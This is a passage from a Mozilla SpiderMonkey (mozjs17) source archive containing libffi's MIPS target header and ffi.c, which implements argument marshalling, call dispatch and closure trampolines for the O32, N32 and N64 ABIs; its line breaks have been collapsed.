LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #ifndef LIBFFI_TARGET_H #define LIBFFI_TARGET_H #ifdef linux # include #else # include #endif # ifndef _ABIN32 # define _ABIN32 _MIPS_SIM_NABI32 # endif # ifndef _ABI64 # define _ABI64 _MIPS_SIM_ABI64 # endif # ifndef _ABIO32 # define _ABIO32 _MIPS_SIM_ABI32 # endif #if !defined(_MIPS_SIM) -- something is very wrong -- #else # if (_MIPS_SIM==_ABIN32 && defined(_ABIN32)) || (_MIPS_SIM==_ABI64 && defined(_ABI64)) # define FFI_MIPS_N32 # else # if (_MIPS_SIM==_ABIO32 && defined(_ABIO32)) # define FFI_MIPS_O32 # else -- this is an unsupported platform -- # endif # endif #endif #ifdef FFI_MIPS_O32 /* O32 stack frames have 32bit integer args */ # define FFI_SIZEOF_ARG 4 #else /* N32 and N64 frames have 64bit integer args */ # define FFI_SIZEOF_ARG 8 # if _MIPS_SIM == _ABIN32 # define FFI_SIZEOF_JAVA_RAW 4 # endif #endif #define FFI_FLAG_BITS 2 /* SGI's strange assembler requires that we multiply by 4 rather than shift left by FFI_FLAG_BITS */ #define FFI_ARGS_D FFI_TYPE_DOUBLE #define FFI_ARGS_F FFI_TYPE_FLOAT #define FFI_ARGS_DD FFI_TYPE_DOUBLE * 4 + FFI_TYPE_DOUBLE #define FFI_ARGS_FF FFI_TYPE_FLOAT * 4 + FFI_TYPE_FLOAT #define FFI_ARGS_FD FFI_TYPE_DOUBLE * 4 + FFI_TYPE_FLOAT #define FFI_ARGS_DF FFI_TYPE_FLOAT * 4 + FFI_TYPE_DOUBLE /* Needed for N32 structure returns */ #define FFI_TYPE_SMALLSTRUCT FFI_TYPE_UINT8 #define FFI_TYPE_SMALLSTRUCT2 FFI_TYPE_SINT8 #if 0 /* The SGI assembler can't handle this.. */ #define FFI_TYPE_STRUCT_DD (( FFI_ARGS_DD ) << 4) + FFI_TYPE_STRUCT /* (and so on) */ #else /* ...so we calculate these by hand! */ #define FFI_TYPE_STRUCT_D 61 #define FFI_TYPE_STRUCT_F 45 #define FFI_TYPE_STRUCT_DD 253 #define FFI_TYPE_STRUCT_FF 173 #define FFI_TYPE_STRUCT_FD 237 #define FFI_TYPE_STRUCT_DF 189 #define FFI_TYPE_STRUCT_SMALL 93 #define FFI_TYPE_STRUCT_SMALL2 109 /* and for n32 soft float, add 16 * 2^4 */ #define FFI_TYPE_STRUCT_D_SOFT 317 #define FFI_TYPE_STRUCT_F_SOFT 301 #define FFI_TYPE_STRUCT_DD_SOFT 509 #define FFI_TYPE_STRUCT_FF_SOFT 429 #define FFI_TYPE_STRUCT_FD_SOFT 493 #define FFI_TYPE_STRUCT_DF_SOFT 445 #define FFI_TYPE_STRUCT_SOFT 16 #endif #ifdef LIBFFI_ASM #define v0 $2 #define v1 $3 #define a0 $4 #define a1 $5 #define a2 $6 #define a3 $7 #define a4 $8 #define a5 $9 #define a6 $10 #define a7 $11 #define t0 $8 #define t1 $9 #define t2 $10 #define t3 $11 #define t4 $12 #define t5 $13 #define t6 $14 #define t7 $15 #define t8 $24 #define t9 $25 #define ra $31 #ifdef FFI_MIPS_O32 # define REG_L lw # define REG_S sw # define SUBU subu # define ADDU addu # define SRL srl # define LI li #else /* !FFI_MIPS_O32 */ # define REG_L ld # define REG_S sd # define SUBU dsubu # define ADDU daddu # define SRL dsrl # define LI dli # if (_MIPS_SIM==_ABI64) # define LA dla # define EH_FRAME_ALIGN 3 # define FDE_ADDR_BYTES .8byte # else # define LA la # define EH_FRAME_ALIGN 2 # define FDE_ADDR_BYTES .4byte # endif /* _MIPS_SIM==_ABI64 */ #endif /* !FFI_MIPS_O32 */ #else /* !LIBFFI_ASM */ # ifdef __GNUC__ # ifdef FFI_MIPS_O32 /* O32 stack frames have 32bit integer args */ typedef unsigned int ffi_arg __attribute__((__mode__(__SI__))); typedef signed int ffi_sarg __attribute__((__mode__(__SI__))); #else /* N32 and N64 frames have 64bit integer args */ typedef unsigned int ffi_arg __attribute__((__mode__(__DI__))); typedef signed int ffi_sarg __attribute__((__mode__(__DI__))); # endif # else # ifdef FFI_MIPS_O32 /* O32 stack frames have 32bit integer args */ typedef __uint32_t ffi_arg; typedef __int32_t ffi_sarg; # else /* N32 and N64 frames have 64bit integer args */ typedef __uint64_t ffi_arg; typedef __int64_t ffi_sarg; # endif # endif /* __GNUC__ */ typedef enum ffi_abi { FFI_FIRST_ABI = 0, FFI_O32, FFI_N32, FFI_N64, FFI_O32_SOFT_FLOAT, FFI_N32_SOFT_FLOAT, FFI_N64_SOFT_FLOAT, FFI_LAST_ABI, #ifdef FFI_MIPS_O32 #ifdef __mips_soft_float FFI_DEFAULT_ABI = FFI_O32_SOFT_FLOAT #else FFI_DEFAULT_ABI = FFI_O32 #endif #else # if _MIPS_SIM==_ABI64 # ifdef __mips_soft_float FFI_DEFAULT_ABI = FFI_N64_SOFT_FLOAT # else FFI_DEFAULT_ABI = FFI_N64 # endif # else # ifdef __mips_soft_float FFI_DEFAULT_ABI = FFI_N32_SOFT_FLOAT # else FFI_DEFAULT_ABI = FFI_N32 # endif # endif #endif } ffi_abi; #define FFI_EXTRA_CIF_FIELDS unsigned rstruct_flag #endif /* !LIBFFI_ASM */ /* ---- Definitions for closures ----------------------------------------- */ #if defined(FFI_MIPS_O32) #define FFI_CLOSURES 1 #define FFI_TRAMPOLINE_SIZE 20 #else /* N32/N64. */ # define FFI_CLOSURES 1 #if _MIPS_SIM==_ABI64 #define FFI_TRAMPOLINE_SIZE 52 #else #define FFI_TRAMPOLINE_SIZE 20 #endif #endif /* FFI_MIPS_O32 */ #define FFI_NATIVE_RAW_API 0 #endif mozjs17.0.0/js/src/ctypes/libffi/src/mips/ffi.c0000664000175000017500000006304312106270662021222 0ustar sstanglsstangl/* ----------------------------------------------------------------------- ffi.c - Copyright (c) 1996, 2007, 2008 Red Hat, Inc. Copyright (c) 2008 David Daney MIPS Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #include #include #include #ifdef __GNUC__ # if (__GNUC__ > 4) || ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 3)) # define USE__BUILTIN___CLEAR_CACHE 1 # endif #endif #ifndef USE__BUILTIN___CLEAR_CACHE #include #endif #ifdef FFI_DEBUG # define FFI_MIPS_STOP_HERE() ffi_stop_here() #else # define FFI_MIPS_STOP_HERE() do {} while(0) #endif #ifdef FFI_MIPS_N32 #define FIX_ARGP \ FFI_ASSERT(argp <= &stack[bytes]); \ if (argp == &stack[bytes]) \ { \ argp = stack; \ FFI_MIPS_STOP_HERE(); \ } #else #define FIX_ARGP #endif /* ffi_prep_args is called by the assembly routine once stack space has been allocated for the function's arguments */ static void ffi_prep_args(char *stack, extended_cif *ecif, int bytes, int flags) { int i; void **p_argv; char *argp; ffi_type **p_arg; #ifdef FFI_MIPS_N32 /* If more than 8 double words are used, the remainder go on the stack. We reorder stuff on the stack here to support this easily. */ if (bytes > 8 * sizeof(ffi_arg)) argp = &stack[bytes - (8 * sizeof(ffi_arg))]; else argp = stack; #else argp = stack; #endif memset(stack, 0, bytes); #ifdef FFI_MIPS_N32 if ( ecif->cif->rstruct_flag != 0 ) #else if ( ecif->cif->rtype->type == FFI_TYPE_STRUCT ) #endif { *(ffi_arg *) argp = (ffi_arg) ecif->rvalue; argp += sizeof(ffi_arg); FIX_ARGP; } p_argv = ecif->avalue; for (i = 0, p_arg = ecif->cif->arg_types; i < ecif->cif->nargs; i++, p_arg++) { size_t z; unsigned int a; /* Align if necessary. */ a = (*p_arg)->alignment; if (a < sizeof(ffi_arg)) a = sizeof(ffi_arg); if ((a - 1) & (unsigned long) argp) { argp = (char *) ALIGN(argp, a); FIX_ARGP; } z = (*p_arg)->size; if (z <= sizeof(ffi_arg)) { int type = (*p_arg)->type; z = sizeof(ffi_arg); /* The size of a pointer depends on the ABI */ if (type == FFI_TYPE_POINTER) type = (ecif->cif->abi == FFI_N64 || ecif->cif->abi == FFI_N64_SOFT_FLOAT) ? FFI_TYPE_SINT64 : FFI_TYPE_SINT32; if (i < 8 && (ecif->cif->abi == FFI_N32_SOFT_FLOAT || ecif->cif->abi == FFI_N64_SOFT_FLOAT)) { switch (type) { case FFI_TYPE_FLOAT: type = FFI_TYPE_UINT32; break; case FFI_TYPE_DOUBLE: type = FFI_TYPE_UINT64; break; default: break; } } switch (type) { case FFI_TYPE_SINT8: *(ffi_arg *)argp = *(SINT8 *)(* p_argv); break; case FFI_TYPE_UINT8: *(ffi_arg *)argp = *(UINT8 *)(* p_argv); break; case FFI_TYPE_SINT16: *(ffi_arg *)argp = *(SINT16 *)(* p_argv); break; case FFI_TYPE_UINT16: *(ffi_arg *)argp = *(UINT16 *)(* p_argv); break; case FFI_TYPE_SINT32: *(ffi_arg *)argp = *(SINT32 *)(* p_argv); break; case FFI_TYPE_UINT32: *(ffi_arg *)argp = *(UINT32 *)(* p_argv); break; /* This can only happen with 64bit slots. */ case FFI_TYPE_FLOAT: *(float *) argp = *(float *)(* p_argv); break; /* Handle structures. */ default: memcpy(argp, *p_argv, (*p_arg)->size); break; } } else { #ifdef FFI_MIPS_O32 memcpy(argp, *p_argv, z); #else { unsigned long end = (unsigned long) argp + z; unsigned long cap = (unsigned long) stack + bytes; /* Check if the data will fit within the register space. Handle it if it doesn't. */ if (end <= cap) memcpy(argp, *p_argv, z); else { unsigned long portion = cap - (unsigned long)argp; memcpy(argp, *p_argv, portion); argp = stack; z -= portion; memcpy(argp, (void*)((unsigned long)(*p_argv) + portion), z); } } #endif } p_argv++; argp += z; FIX_ARGP; } } #ifdef FFI_MIPS_N32 /* The n32 spec says that if "a chunk consists solely of a double float field (but not a double, which is part of a union), it is passed in a floating point register. Any other chunk is passed in an integer register". This code traverses structure definitions and generates the appropriate flags. */ static unsigned calc_n32_struct_flags(int soft_float, ffi_type *arg, unsigned *loc, unsigned *arg_reg) { unsigned flags = 0; unsigned index = 0; ffi_type *e; if (soft_float) return 0; while ((e = arg->elements[index])) { /* Align this object. */ *loc = ALIGN(*loc, e->alignment); if (e->type == FFI_TYPE_DOUBLE) { /* Already aligned to FFI_SIZEOF_ARG. */ *arg_reg = *loc / FFI_SIZEOF_ARG; if (*arg_reg > 7) break; flags += (FFI_TYPE_DOUBLE << (*arg_reg * FFI_FLAG_BITS)); *loc += e->size; } else *loc += e->size; index++; } /* Next Argument register at alignment of FFI_SIZEOF_ARG. */ *arg_reg = ALIGN(*loc, FFI_SIZEOF_ARG) / FFI_SIZEOF_ARG; return flags; } static unsigned calc_n32_return_struct_flags(int soft_float, ffi_type *arg) { unsigned flags = 0; unsigned small = FFI_TYPE_SMALLSTRUCT; ffi_type *e; /* Returning structures under n32 is a tricky thing. A struct with only one or two floating point fields is returned in $f0 (and $f2 if necessary). Any other struct results at most 128 bits are returned in $2 (the first 64 bits) and $3 (remainder, if necessary). Larger structs are handled normally. */ if (arg->size > 16) return 0; if (arg->size > 8) small = FFI_TYPE_SMALLSTRUCT2; e = arg->elements[0]; if (e->type == FFI_TYPE_DOUBLE) flags = FFI_TYPE_DOUBLE; else if (e->type == FFI_TYPE_FLOAT) flags = FFI_TYPE_FLOAT; if (flags && (e = arg->elements[1])) { if (e->type == FFI_TYPE_DOUBLE) flags += FFI_TYPE_DOUBLE << FFI_FLAG_BITS; else if (e->type == FFI_TYPE_FLOAT) flags += FFI_TYPE_FLOAT << FFI_FLAG_BITS; else return small; if (flags && (arg->elements[2])) { /* There are three arguments and the first two are floats! This must be passed the old way. */ return small; } if (soft_float) flags += FFI_TYPE_STRUCT_SOFT; } else if (!flags) return small; return flags; } #endif /* Perform machine dependent cif processing */ ffi_status ffi_prep_cif_machdep(ffi_cif *cif) { cif->flags = 0; #ifdef FFI_MIPS_O32 /* Set the flags necessary for O32 processing. FFI_O32_SOFT_FLOAT * does not have special handling for floating point args. */ if (cif->rtype->type != FFI_TYPE_STRUCT && cif->abi == FFI_O32) { if (cif->nargs > 0) { switch ((cif->arg_types)[0]->type) { case FFI_TYPE_FLOAT: case FFI_TYPE_DOUBLE: cif->flags += (cif->arg_types)[0]->type; break; default: break; } if (cif->nargs > 1) { /* Only handle the second argument if the first is a float or double. */ if (cif->flags) { switch ((cif->arg_types)[1]->type) { case FFI_TYPE_FLOAT: case FFI_TYPE_DOUBLE: cif->flags += (cif->arg_types)[1]->type << FFI_FLAG_BITS; break; default: break; } } } } } /* Set the return type flag */ if (cif->abi == FFI_O32_SOFT_FLOAT) { switch (cif->rtype->type) { case FFI_TYPE_VOID: case FFI_TYPE_STRUCT: cif->flags += cif->rtype->type << (FFI_FLAG_BITS * 2); break; case FFI_TYPE_SINT64: case FFI_TYPE_UINT64: case FFI_TYPE_DOUBLE: cif->flags += FFI_TYPE_UINT64 << (FFI_FLAG_BITS * 2); break; case FFI_TYPE_FLOAT: default: cif->flags += FFI_TYPE_INT << (FFI_FLAG_BITS * 2); break; } } else { /* FFI_O32 */ switch (cif->rtype->type) { case FFI_TYPE_VOID: case FFI_TYPE_STRUCT: case FFI_TYPE_FLOAT: case FFI_TYPE_DOUBLE: cif->flags += cif->rtype->type << (FFI_FLAG_BITS * 2); break; case FFI_TYPE_SINT64: case FFI_TYPE_UINT64: cif->flags += FFI_TYPE_UINT64 << (FFI_FLAG_BITS * 2); break; default: cif->flags += FFI_TYPE_INT << (FFI_FLAG_BITS * 2); break; } } #endif #ifdef FFI_MIPS_N32 /* Set the flags necessary for N32 processing */ { int type; unsigned arg_reg = 0; unsigned loc = 0; unsigned count = (cif->nargs < 8) ? cif->nargs : 8; unsigned index = 0; unsigned struct_flags = 0; int soft_float = (cif->abi == FFI_N32_SOFT_FLOAT || cif->abi == FFI_N64_SOFT_FLOAT); if (cif->rtype->type == FFI_TYPE_STRUCT) { struct_flags = calc_n32_return_struct_flags(soft_float, cif->rtype); if (struct_flags == 0) { /* This means that the structure is being passed as a hidden argument */ arg_reg = 1; count = (cif->nargs < 7) ? cif->nargs : 7; cif->rstruct_flag = !0; } else cif->rstruct_flag = 0; } else cif->rstruct_flag = 0; while (count-- > 0 && arg_reg < 8) { type = (cif->arg_types)[index]->type; if (soft_float) { switch (type) { case FFI_TYPE_FLOAT: type = FFI_TYPE_UINT32; break; case FFI_TYPE_DOUBLE: type = FFI_TYPE_UINT64; break; default: break; } } switch (type) { case FFI_TYPE_FLOAT: case FFI_TYPE_DOUBLE: cif->flags += ((cif->arg_types)[index]->type << (arg_reg * FFI_FLAG_BITS)); arg_reg++; break; case FFI_TYPE_LONGDOUBLE: /* Align it. */ arg_reg = ALIGN(arg_reg, 2); /* Treat it as two adjacent doubles. */ if (soft_float) { arg_reg += 2; } else { cif->flags += (FFI_TYPE_DOUBLE << (arg_reg * FFI_FLAG_BITS)); arg_reg++; cif->flags += (FFI_TYPE_DOUBLE << (arg_reg * FFI_FLAG_BITS)); arg_reg++; } break; case FFI_TYPE_STRUCT: loc = arg_reg * FFI_SIZEOF_ARG; cif->flags += calc_n32_struct_flags(soft_float, (cif->arg_types)[index], &loc, &arg_reg); break; default: arg_reg++; break; } index++; } /* Set the return type flag */ switch (cif->rtype->type) { case FFI_TYPE_STRUCT: { if (struct_flags == 0) { /* The structure is returned through a hidden first argument. Do nothing, 'cause FFI_TYPE_VOID is 0 */ } else { /* The structure is returned via some tricky mechanism */ cif->flags += FFI_TYPE_STRUCT << (FFI_FLAG_BITS * 8); cif->flags += struct_flags << (4 + (FFI_FLAG_BITS * 8)); } break; } case FFI_TYPE_VOID: /* Do nothing, 'cause FFI_TYPE_VOID is 0 */ break; case FFI_TYPE_POINTER: if (cif->abi == FFI_N32_SOFT_FLOAT || cif->abi == FFI_N32) cif->flags += FFI_TYPE_SINT32 << (FFI_FLAG_BITS * 8); else cif->flags += FFI_TYPE_INT << (FFI_FLAG_BITS * 8); break; case FFI_TYPE_FLOAT: if (soft_float) { cif->flags += FFI_TYPE_SINT32 << (FFI_FLAG_BITS * 8); break; } /* else fall through */ case FFI_TYPE_DOUBLE: if (soft_float) cif->flags += FFI_TYPE_INT << (FFI_FLAG_BITS * 8); else cif->flags += cif->rtype->type << (FFI_FLAG_BITS * 8); break; case FFI_TYPE_LONGDOUBLE: /* Long double is returned as if it were a struct containing two doubles. */ if (soft_float) { cif->flags += FFI_TYPE_STRUCT << (FFI_FLAG_BITS * 8); cif->flags += FFI_TYPE_SMALLSTRUCT2 << (4 + (FFI_FLAG_BITS * 8)); } else { cif->flags += FFI_TYPE_STRUCT << (FFI_FLAG_BITS * 8); cif->flags += (FFI_TYPE_DOUBLE + (FFI_TYPE_DOUBLE << FFI_FLAG_BITS)) << (4 + (FFI_FLAG_BITS * 8)); } break; default: cif->flags += FFI_TYPE_INT << (FFI_FLAG_BITS * 8); break; } } #endif return FFI_OK; } /* Low level routine for calling O32 functions */ extern int ffi_call_O32(void (*)(char *, extended_cif *, int, int), extended_cif *, unsigned, unsigned, unsigned *, void (*)(void)); /* Low level routine for calling N32 functions */ extern int ffi_call_N32(void (*)(char *, extended_cif *, int, int), extended_cif *, unsigned, unsigned, void *, void (*)(void)); void ffi_call(ffi_cif *cif, void (*fn)(void), void *rvalue, void **avalue) { extended_cif ecif; ecif.cif = cif; ecif.avalue = avalue; /* If the return value is a struct and we don't have a return */ /* value address then we need to make one */ if ((rvalue == NULL) && (cif->rtype->type == FFI_TYPE_STRUCT)) ecif.rvalue = alloca(cif->rtype->size); else ecif.rvalue = rvalue; switch (cif->abi) { #ifdef FFI_MIPS_O32 case FFI_O32: case FFI_O32_SOFT_FLOAT: ffi_call_O32(ffi_prep_args, &ecif, cif->bytes, cif->flags, ecif.rvalue, fn); break; #endif #ifdef FFI_MIPS_N32 case FFI_N32: case FFI_N32_SOFT_FLOAT: case FFI_N64: case FFI_N64_SOFT_FLOAT: { int copy_rvalue = 0; int copy_offset = 0; char *rvalue_copy = ecif.rvalue; if (cif->rtype->type == FFI_TYPE_STRUCT && cif->rtype->size < 16) { /* For structures smaller than 16 bytes we clobber memory in 8 byte increments. Make a copy so we don't clobber the callers memory outside of the struct bounds. */ rvalue_copy = alloca(16); copy_rvalue = 1; } else if (cif->rtype->type == FFI_TYPE_FLOAT && (cif->abi == FFI_N64_SOFT_FLOAT || cif->abi == FFI_N32_SOFT_FLOAT)) { rvalue_copy = alloca (8); copy_rvalue = 1; #if defined(__MIPSEB__) || defined(_MIPSEB) copy_offset = 4; #endif } ffi_call_N32(ffi_prep_args, &ecif, cif->bytes, cif->flags, rvalue_copy, fn); if (copy_rvalue) memcpy(ecif.rvalue, rvalue_copy + copy_offset, cif->rtype->size); } break; #endif default: FFI_ASSERT(0); break; } } #if FFI_CLOSURES #if defined(FFI_MIPS_O32) extern void ffi_closure_O32(void); #else extern void ffi_closure_N32(void); #endif /* FFI_MIPS_O32 */ ffi_status ffi_prep_closure_loc (ffi_closure *closure, ffi_cif *cif, void (*fun)(ffi_cif*,void*,void**,void*), void *user_data, void *codeloc) { unsigned int *tramp = (unsigned int *) &closure->tramp[0]; void * fn; char *clear_location = (char *) codeloc; #if defined(FFI_MIPS_O32) FFI_ASSERT(cif->abi == FFI_O32 || cif->abi == FFI_O32_SOFT_FLOAT); fn = ffi_closure_O32; #else /* FFI_MIPS_N32 */ FFI_ASSERT(cif->abi == FFI_N32 || cif->abi == FFI_N64); fn = ffi_closure_N32; #endif /* FFI_MIPS_O32 */ #if defined(FFI_MIPS_O32) || (_MIPS_SIM ==_ABIN32) /* lui $25,high(fn) */ tramp[0] = 0x3c190000 | ((unsigned)fn >> 16); /* ori $25,low(fn) */ tramp[1] = 0x37390000 | ((unsigned)fn & 0xffff); /* lui $12,high(codeloc) */ tramp[2] = 0x3c0c0000 | ((unsigned)codeloc >> 16); /* jr $25 */ tramp[3] = 0x03200008; /* ori $12,low(codeloc) */ tramp[4] = 0x358c0000 | ((unsigned)codeloc & 0xffff); #else /* N64 has a somewhat larger trampoline. */ /* lui $25,high(fn) */ tramp[0] = 0x3c190000 | ((unsigned long)fn >> 48); /* lui $12,high(codeloc) */ tramp[1] = 0x3c0c0000 | ((unsigned long)codeloc >> 48); /* ori $25,mid-high(fn) */ tramp[2] = 0x37390000 | (((unsigned long)fn >> 32 ) & 0xffff); /* ori $12,mid-high(codeloc) */ tramp[3] = 0x358c0000 | (((unsigned long)codeloc >> 32) & 0xffff); /* dsll $25,$25,16 */ tramp[4] = 0x0019cc38; /* dsll $12,$12,16 */ tramp[5] = 0x000c6438; /* ori $25,mid-low(fn) */ tramp[6] = 0x37390000 | (((unsigned long)fn >> 16 ) & 0xffff); /* ori $12,mid-low(codeloc) */ tramp[7] = 0x358c0000 | (((unsigned long)codeloc >> 16) & 0xffff); /* dsll $25,$25,16 */ tramp[8] = 0x0019cc38; /* dsll $12,$12,16 */ tramp[9] = 0x000c6438; /* ori $25,low(fn) */ tramp[10] = 0x37390000 | ((unsigned long)fn & 0xffff); /* jr $25 */ tramp[11] = 0x03200008; /* ori $12,low(codeloc) */ tramp[12] = 0x358c0000 | ((unsigned long)codeloc & 0xffff); #endif closure->cif = cif; closure->fun = fun; closure->user_data = user_data; #ifdef USE__BUILTIN___CLEAR_CACHE __builtin___clear_cache(clear_location, clear_location + FFI_TRAMPOLINE_SIZE); #else cacheflush (clear_location, FFI_TRAMPOLINE_SIZE, ICACHE); #endif return FFI_OK; } /* * Decodes the arguments to a function, which will be stored on the * stack. AR is the pointer to the beginning of the integer arguments * (and, depending upon the arguments, some floating-point arguments * as well). FPR is a pointer to the area where floating point * registers have been saved, if any. * * RVALUE is the location where the function return value will be * stored. CLOSURE is the prepared closure to invoke. * * This function should only be called from assembly, which is in * turn called from a trampoline. * * Returns the function return type. * * Based on the similar routine for sparc. */ int ffi_closure_mips_inner_O32 (ffi_closure *closure, void *rvalue, ffi_arg *ar, double *fpr) { ffi_cif *cif; void **avaluep; ffi_arg *avalue; ffi_type **arg_types; int i, avn, argn, seen_int; cif = closure->cif; avalue = alloca (cif->nargs * sizeof (ffi_arg)); avaluep = alloca (cif->nargs * sizeof (ffi_arg)); seen_int = (cif->abi == FFI_O32_SOFT_FLOAT); argn = 0; if ((cif->flags >> (FFI_FLAG_BITS * 2)) == FFI_TYPE_STRUCT) { rvalue = (void *)(UINT32)ar[0]; argn = 1; } i = 0; avn = cif->nargs; arg_types = cif->arg_types; while (i < avn) { if (i < 2 && !seen_int && (arg_types[i]->type == FFI_TYPE_FLOAT || arg_types[i]->type == FFI_TYPE_DOUBLE || arg_types[i]->type == FFI_TYPE_LONGDOUBLE)) { #if defined(__MIPSEB__) || defined(_MIPSEB) if (arg_types[i]->type == FFI_TYPE_FLOAT) avaluep[i] = ((char *) &fpr[i]) + sizeof (float); else #endif avaluep[i] = (char *) &fpr[i]; } else { if (arg_types[i]->alignment == 8 && (argn & 0x1)) argn++; switch (arg_types[i]->type) { case FFI_TYPE_SINT8: avaluep[i] = &avalue[i]; *(SINT8 *) &avalue[i] = (SINT8) ar[argn]; break; case FFI_TYPE_UINT8: avaluep[i] = &avalue[i]; *(UINT8 *) &avalue[i] = (UINT8) ar[argn]; break; case FFI_TYPE_SINT16: avaluep[i] = &avalue[i]; *(SINT16 *) &avalue[i] = (SINT16) ar[argn]; break; case FFI_TYPE_UINT16: avaluep[i] = &avalue[i]; *(UINT16 *) &avalue[i] = (UINT16) ar[argn]; break; default: avaluep[i] = (char *) &ar[argn]; break; } seen_int = 1; } argn += ALIGN(arg_types[i]->size, FFI_SIZEOF_ARG) / FFI_SIZEOF_ARG; i++; } /* Invoke the closure. */ (closure->fun) (cif, rvalue, avaluep, closure->user_data); if (cif->abi == FFI_O32_SOFT_FLOAT) { switch (cif->rtype->type) { case FFI_TYPE_FLOAT: return FFI_TYPE_INT; case FFI_TYPE_DOUBLE: return FFI_TYPE_UINT64; default: return cif->rtype->type; } } else { return cif->rtype->type; } } #if defined(FFI_MIPS_N32) static void copy_struct_N32(char *target, unsigned offset, ffi_abi abi, ffi_type *type, int argn, unsigned arg_offset, ffi_arg *ar, ffi_arg *fpr, int soft_float) { ffi_type **elt_typep = type->elements; while(*elt_typep) { ffi_type *elt_type = *elt_typep; unsigned o; char *tp; char *argp; char *fpp; o = ALIGN(offset, elt_type->alignment); arg_offset += o - offset; offset = o; argn += arg_offset / sizeof(ffi_arg); arg_offset = arg_offset % sizeof(ffi_arg); argp = (char *)(ar + argn); fpp = (char *)(argn >= 8 ? ar + argn : fpr + argn); tp = target + offset; if (elt_type->type == FFI_TYPE_DOUBLE && !soft_float) *(double *)tp = *(double *)fpp; else memcpy(tp, argp + arg_offset, elt_type->size); offset += elt_type->size; arg_offset += elt_type->size; elt_typep++; argn += arg_offset / sizeof(ffi_arg); arg_offset = arg_offset % sizeof(ffi_arg); } } /* * Decodes the arguments to a function, which will be stored on the * stack. AR is the pointer to the beginning of the integer * arguments. FPR is a pointer to the area where floating point * registers have been saved. * * RVALUE is the location where the function return value will be * stored. CLOSURE is the prepared closure to invoke. * * This function should only be called from assembly, which is in * turn called from a trampoline. * * Returns the function return flags. * */ int ffi_closure_mips_inner_N32 (ffi_closure *closure, void *rvalue, ffi_arg *ar, ffi_arg *fpr) { ffi_cif *cif; void **avaluep; ffi_arg *avalue; ffi_type **arg_types; int i, avn, argn; int soft_float; ffi_arg *argp; cif = closure->cif; soft_float = cif->abi == FFI_N64_SOFT_FLOAT || cif->abi == FFI_N32_SOFT_FLOAT; avalue = alloca (cif->nargs * sizeof (ffi_arg)); avaluep = alloca (cif->nargs * sizeof (ffi_arg)); argn = 0; if (cif->rstruct_flag) { #if _MIPS_SIM==_ABIN32 rvalue = (void *)(UINT32)ar[0]; #else /* N64 */ rvalue = (void *)ar[0]; #endif argn = 1; } i = 0; avn = cif->nargs; arg_types = cif->arg_types; while (i < avn) { if (arg_types[i]->type == FFI_TYPE_FLOAT || arg_types[i]->type == FFI_TYPE_DOUBLE || arg_types[i]->type == FFI_TYPE_LONGDOUBLE) { argp = (argn >= 8 || soft_float) ? ar + argn : fpr + argn; if ((arg_types[i]->type == FFI_TYPE_LONGDOUBLE) && ((unsigned)argp & (arg_types[i]->alignment-1))) { argp=(ffi_arg*)ALIGN(argp,arg_types[i]->alignment); argn++; } #if defined(__MIPSEB__) || defined(_MIPSEB) if (arg_types[i]->type == FFI_TYPE_FLOAT && argn < 8) avaluep[i] = ((char *) argp) + sizeof (float); else #endif avaluep[i] = (char *) argp; } else { unsigned type = arg_types[i]->type; if (arg_types[i]->alignment > sizeof(ffi_arg)) argn = ALIGN(argn, arg_types[i]->alignment / sizeof(ffi_arg)); argp = ar + argn; /* The size of a pointer depends on the ABI */ if (type == FFI_TYPE_POINTER) type = (cif->abi == FFI_N64 || cif->abi == FFI_N64_SOFT_FLOAT) ? FFI_TYPE_SINT64 : FFI_TYPE_SINT32; if (soft_float && type == FFI_TYPE_FLOAT) type = FFI_TYPE_UINT32; switch (type) { case FFI_TYPE_SINT8: avaluep[i] = &avalue[i]; *(SINT8 *) &avalue[i] = (SINT8) *argp; break; case FFI_TYPE_UINT8: avaluep[i] = &avalue[i]; *(UINT8 *) &avalue[i] = (UINT8) *argp; break; case FFI_TYPE_SINT16: avaluep[i] = &avalue[i]; *(SINT16 *) &avalue[i] = (SINT16) *argp; break; case FFI_TYPE_UINT16: avaluep[i] = &avalue[i]; *(UINT16 *) &avalue[i] = (UINT16) *argp; break; case FFI_TYPE_SINT32: avaluep[i] = &avalue[i]; *(SINT32 *) &avalue[i] = (SINT32) *argp; break; case FFI_TYPE_UINT32: avaluep[i] = &avalue[i]; *(UINT32 *) &avalue[i] = (UINT32) *argp; break; case FFI_TYPE_STRUCT: if (argn < 8) { /* Allocate space for the struct as at least part of it was passed in registers. */ avaluep[i] = alloca(arg_types[i]->size); copy_struct_N32(avaluep[i], 0, cif->abi, arg_types[i], argn, 0, ar, fpr, soft_float); break; } /* Else fall through. */ default: avaluep[i] = (char *) argp; break; } } argn += ALIGN(arg_types[i]->size, sizeof(ffi_arg)) / sizeof(ffi_arg); i++; } /* Invoke the closure. */ (closure->fun) (cif, rvalue, avaluep, closure->user_data); return cif->flags >> (FFI_FLAG_BITS * 8); } #endif /* FFI_MIPS_N32 */ #endif /* FFI_CLOSURES */ mozjs17.0.0/js/src/ctypes/libffi/src/m32r/0000775000175000017500000000000012106270662020117 5ustar 